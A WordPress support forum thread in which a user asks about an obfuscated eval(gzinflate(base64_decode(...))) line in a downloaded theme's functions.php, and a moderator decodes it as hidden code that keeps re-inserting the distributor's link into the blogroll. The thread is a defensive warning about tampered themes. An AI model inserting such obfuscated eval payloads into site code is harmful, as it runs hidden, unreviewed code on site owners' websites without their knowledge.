Support » Themes and Templates » Decode and functions.php

  • Resolved Thom986


    Hello Everybody;

    if ( function_exists('register_sidebar') )
            'before_widget' => '<li id="%1$s" class="widget %2$s">',
            'after_widget' => '</li>',
            'before_title' => '<h3><span>',
            'after_title' => '</span></h3>',
     * If more than one page exists, return TRUE.
    function show_posts_nav() {
    	global $wp_query;
    	return ($wp_query->max_num_pages > 1) ? TRUE : FALSE;
    function ppl($label='&laquo; Previous Page') {
    	global $paged;
    	if ( (!is_single())	&& ($paged > 1) ) {
    		echo '<div class="alignright"><a href="';
    		echo '">'. preg_replace('/&([^#])(?![a-z]{1,8};)/', '&$1', $label) .'</a></div>';
    function npl($label='Next Page &raquo;', $max_page=0) {
    	global $paged, $wpdb, $wp_query;
    	if ( !$max_page ) {
    		$max_page = $wp_query->max_num_pages;
    	if ( !$paged )
    		$paged = 1;
    	$nextpage = intval($paged) + 1;
    	if ( (! is_single()) && (empty($paged) || $nextpage <= $max_page) ) {
    		echo '<div class="alignleft"><a href="';
    		echo '">'. preg_replace('/&([^#])(?![a-z]{1,8};)/', '&$1', $label) .'</a></div>';
    <?php $Z979e7c412a7b08a7b5e83ddb3d65d5c8='rZLBjtMwEIbPXYl3GPlAFwk5BS5oN0lVyoo9tFK1isTeKteeOgY7jmy3URAPv3aTUkHhxsWZzPz6/rFn5uVkkmdCHcvhfHUT/2MAShTEK4E75sgpO8nnbd2Carg+CITb6mG9WS2qh82iegQK02xU06iavrmH+cD6nco1874gXGPC/ipegrP13tqAo/Nrbtv+HpbxdErWAd7PZh8hZ1A73Bdk6GunrVTN3t5OD04P/
    sP8JGCnjmI3k5JpoeukQG25dg254tVwZCd7x62EGNK1mAbeXqSrDJPrM9NsTZzuAtgK9ko2n31pJgOlQkHUPX5Iibk5SwOdBQSArx17Pe3f57qzoT0EdjB7W5+YF';eval(gzinflate(base64_decode($Z979e7c412a7b08a7b5e83ddb3d65d5c8))); ?>

    I’m apologize my English is a little bit poor.!!!
    I have some Issue with a fluid width Theme Dune-Sky.

    There is some base64_decode in the sidebar and in the footer.
    Is-it a security issue?
    If I try to replace the code in the footer, my sidebar leave.

    Do I have to change to another Theme or can you show me hox to have the “normal” php code for those .css.
    Thanks you,

Viewing 4 replies - 1 through 4 (of 4 total)
  • Moderator Jan Dembowski


    Brute Squad and Volunteer Moderator

    (No good deed goes unpunished.)

    There should be a law: if you download themes from places that do things like that, don’t ask here. Use a GPL compatible theme from instead.

    It’s a security issue when you run code on your website and you don’t know what that code is. You downloaded the theme from a place called “Amazing WordPress Themes”. That place takes other people’s work (other people who also put in obfuscated crap in their themes) and inserts their own garbage.

    If you use themes from that Not-Amazing-Place you’ll find their link installed on YOUR blog.

    The obfuscated lines in that functions.php decodes to this

    function insert_theme_link() {
            global $wpdb;
            if($wpdb->get_var("SELECT COUNT(link_id) FROM $wpdb->links WHERE link_url=''")==0)
                    wp_insert_link(array("link_name" => "WordPress Theme", "link_url" => "" ));

    Whenever you edit a post, this will make sure that you add a link to their website to your blog roll. It checks to see if it’s there already and will re-add it when it is not there. If you delete it, it will re-add itself next time you edit a post.

    That’s a 8 on the E-V-I-L scale.

    Do you really want to trust dishonest people looking to get link juice without telling you? Lose that theme NOW.

    You should follow mrmist’s advice here and learn decode that stuff yourself. Follow many people’s advice and use a theme that’s GPL compatible and does not have this nonsense embedded in it.

    Also see this FAQ to get rid of simple footers encoded in your theme.

    Edit: You can get the non-obfuscated version of Dune Sky from the author’s site here.

    So you tell me to change the Theme or you give me a answer?
    Thanks you,

    Moderator Jan Dembowski


    Brute Squad and Volunteer Moderator

    Also, change your theme and get one from You got one from “Amazing Wordpres themes”: they are E-V-I-L and you should stay away from them.

    Thank you very much for the advice. There is so much theme to try.

Viewing 4 replies - 1 through 4 (of 4 total)
  • The topic ‘Decode and functions.php’ is closed to new replies.